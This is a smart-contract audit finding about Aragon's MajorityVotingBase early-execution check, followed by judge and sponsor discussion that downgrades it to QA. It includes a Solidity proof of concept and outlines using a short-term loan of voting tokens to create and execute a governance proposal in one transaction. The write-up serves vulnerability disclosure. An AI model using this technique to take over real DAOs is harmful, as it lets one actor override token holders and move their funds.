Potential of Immediate Proposal Execution

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-aragon/blob/main/packages/contracts/src/plugins/governance/majority-voting/MajorityVotingBase.sol#L323-L338 https://github.com/code-423n4/2023-03-aragon/blob/main/packages/contracts/src/plugins/governance/majority-voting/token/TokenVoting.sol#L131-L133 https://github.com/code-423n4/2023-03-aragon/blob/main/packages/contracts/src/plugins/governance/majority-voting/token/TokenVoting.sol#L182-L184

Vulnerability details

Impact

The MajorityVotingBase module contains a voting configuration that permits proposals to be executed "early".

This mechanism will evaluate whether the "worst-case" no votes have been surpassed, thereby allowing proposals to be executed before the voting period ends.

The implementation contains a flaw whereby the MajorityVotingBase::isSupportThresholdReachedEarly function does not impose a minimum threshold of time that has elapsed since the proposal's creation.

As such, it is possible to create a proposal and execute it immediately if you are in possession of sufficient voting power. Coupled with the fact that the voting power is evaluated solely on the previous block, a user is able to submit a proposal and execute it in the same transaction w/ a trivial effort by acquiring a significantly large short-term loan.

Proof of Concept

The following code illustrates how a user is able to immediately execute the proposal they created if they have adequate voting power:

contract ImmediateProposalExecution {
    uint256 internal constant RATIO_BASE = 10**6;

    /**
     * Simplified Assumptions:
     *
     * - Contract is in possession of sufficient voting tokens to pass early support threshold
     */
    function demonstrate(ITokenVoting voting, uint256 total) external {
        // Pre-Condition: Replicating `MajorityVotingBase::isSupportThresholdReachedEarly`
        IERC20 votingToken = voting.getVotingToken();
        uint256 contractPower = votingToken.getPastVotes(
            address(this),
            block.number - 1
        );
        uint256 supportThreshold = voting.supportThreshold();

        assert(
            (RATIO_BASE - supportThreshold) * contractPower >
                supportThreshold *
                    (voting.totalVotingPower(block.number - 1) - contractPower)
        );

        // Create And Execute Proposal
        IDAO.Action[] memory actions = [
            IDAO.Action({
                to: address(this),
                value: 0,
                data: abi.encodeWithSignature("flaw()")
            })
        ];
        uint256 proposalId = voting.createProposal(
            "",
            actions,
            0,
            0,
            0,
            VoteOption.Yes,
            true
        );
    }

    function flaw() external {
        revert("ISSUE: Proposal was immediately executed");
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

A minimum early execution time threshold should be imposed in any case, disallowing a proposal to be immediately executed when proposed as that defeats the purpose of the governance mechanism. The users that are influenced by a DAO's decision need to be informed of it ahead of its execution.

If a time delay is imposed, this would also allow the emergency mechanisms of the DAO to kick in. As an example, a malicious proposal voted on by a single user could be canceled by a multi-signature-only proposal cancellation mechanism the DAO possesses which is common practice.

To note, the potential to "time" voting power for a particular block is a known issue of DAOs and cannot be remediated unless a more robust voting power system is utilized.

[0xean]

This certainly doesn't qualify for H severity, but will leave open for sponsor comment.

A governance attack where a user acquires sufficient voting power doesn't seem unique to the contracts or protocol at all and this should probably be QA. Regardless of the time element, the potential for someone to attack a DAO with acquiring sufficient votes is of course true. So the duration then becomes the critical distinction and the "right" duration very much seems like a design tradeoff rather than a H severity issue.

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[c4-judge]

0xean marked the issue as primary issue

[0xean]

See #96 for a slight variant on the same topic.

[novaknole20]

We see the attack vector and how it could be achieved but it is intended of the system to work this way and we don't see that the mitigation steps would help to mitigate the problem.

Because this is not a simple attack to trigger and successfully execute and because other protocols have the same problem (Governor) we don't see that as medium risk and more as a QA or Low risk.

[c4-sponsor]

novaknole20 marked the issue as sponsor acknowledged

[c4-judge]

0xean changed the severity to QA (Quality Assurance)

[c4-judge]

0xean marked the issue as grade-b